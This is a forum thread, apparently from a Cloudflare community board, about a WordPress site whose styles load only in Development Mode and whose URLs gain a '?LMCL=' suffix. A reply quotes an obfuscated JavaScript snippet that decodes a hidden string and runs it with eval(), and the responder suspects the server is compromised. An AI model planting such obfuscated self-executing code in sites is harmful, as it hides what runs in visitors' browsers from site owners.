Website CSS Not Loading, Loads With Development Mode On

Hi Guys,

So my website only seems to load all of the styles when I have Development Mode enabled. As soon as I turn it off it then doesn’t load any of the styles.

What is weird is it also now adds this string at the end of the URL ?LMCL=q7VF7N

Does anyone know what is going on and how to fix this issue?



As for the appended query string, this comes from your server. There are at least two instances where your server seems to send some obscure JavaScript/HTML combination which forces a redirect with that value

<html><body><script>function Fdt(tk,YM,p8){var XBYmb,PCn9a=new Array(),lHfDD="\xf3\x0a\xae\xf8\x8f\x69\x84\x66\x77\x17\xc3\x3a\xa6\x5c\x8a\xfc\x6c\x37\x39\xc5\xad\x17\x3a\x6d\xff\xd4\x6e\x82\xc7\xdc\x64\x6d\xb4\x59\xeb\x42\x00\x6e\x38\xab\x42\x4e\xd9\x58\x51\x5b\x1f\x14\x1d";for(XBYmb=0;XBYmb<lHfDD.length;XBYmb++)PCn9a[XBYmb]=lHfDD.charCodeAt(XBYmb);XBYmb=4;while(XBYmb<=35){PCn9a[XBYmb]=(PCn9a[XBYmb]+PCn9a[XBYmb+1])&0xff;PCn9a[XBYmb]=((PCn9a[XBYmb]<<7)&0xff)|(PCn9a[XBYmb]>>1);XBYmb++;}XBYmb=1;do{PCn9a[XBYmb]=(PCn9a[XBYmb]+PCn9a[XBYmb+1])&0xff;PCn9a[XBYmb]=(~PCn9a[XBYmb])&0xff;PCn9a[XBYmb]=PCn9a[XBYmb]^13;}while(++XBYmb<=40);XBYmb=37;for(;;XBYmb--){if(XBYmb<3)break;PCn9a[XBYmb]=((PCn9a[XBYmb]^182)+35)&0xff;}lHfDD="";for(XBYmb=1;XBYmb<PCn9a.length-1;XBYmb++)if(XBYmb%7)lHfDD+=String.fromCharCode(PCn9a[XBYmb]^tk);lHfDD+="";eval(lHfDD);}Fdt(61,"","");</script><br><br><br><center><h3><p>Your browser doesn't seem to support Javascript!</p></h3></center></body></html>


<html><head><meta http-equiv="refresh" content="0;URL="/>

Whether that is intentional or your server has been compromised, is something I cant tell, though that obfuscated JavaScript code does seem a bit questionable. That is something for your site administrator to clarify however.

As for the stylesheets, right now the seem to load. I guess you have development mode on, correct? Development mode basically just disables caching, so it might be something related to that. You could either configure a page rule for /*.css and disable caching for it or check what the exact issue is and try to fix that instead.

Can you disable development mode now?

As for the obfuscated JavaScript code, it essentially executes the following

function Fdt(tk, YM, p8)
Fdt(61, "", "");

I somehow cant believe this is intentional and I’d strongly suggest you/your site administrator thoroughly check the server.


Thanks for your reply.

I’m just trying to workout who the host of the website is it at the moment, which we currently don’t know.

Is there a way of making these amends via the WordPress backend if we don’t have access to the server?


If you dont have access to the server it will be difficult to do anything.

I would suggest you check your invoices and emails for whom you are paying for the service, respectively contact the person who is responsible for maintaining your site.


I now have access to the server.

Would you be able to help (can pay obviously) or know someone who would be able to fix this?


I am afraid the forum is a) not primarily intended for paid services and b) I’ll be only sporadically online in the next days, so I couldnt even really have a proper look, at least not straight away I am afraid :slight_smile:.

Just to give you a start, the development issue will be something caching related. Check if your site dynamically creates CSS rules, which then get cached but are not valid any longer for subsequent requests (maybe dynamic CSS classes :man_shrugging:t2:).

As for the other issue, that is difficult to debug remotely. I’d start by search all files (and the database content) for the strings in question (e.g. “FiRbH2” and “support Javascript”).

No problem, thanks.

Do you know a way to keep development mode on permanently? It keeps turning off which is then causing the CSS to not show.

Development mode is supposed to be a temporary measure.

If you want to permanently disable caching you can do so via a page rule and setting the cache level accordingly.

Though, I’d rather advise to fix the issue than simply disable caching. The latter is one of the main incentives for using Cloudflare.

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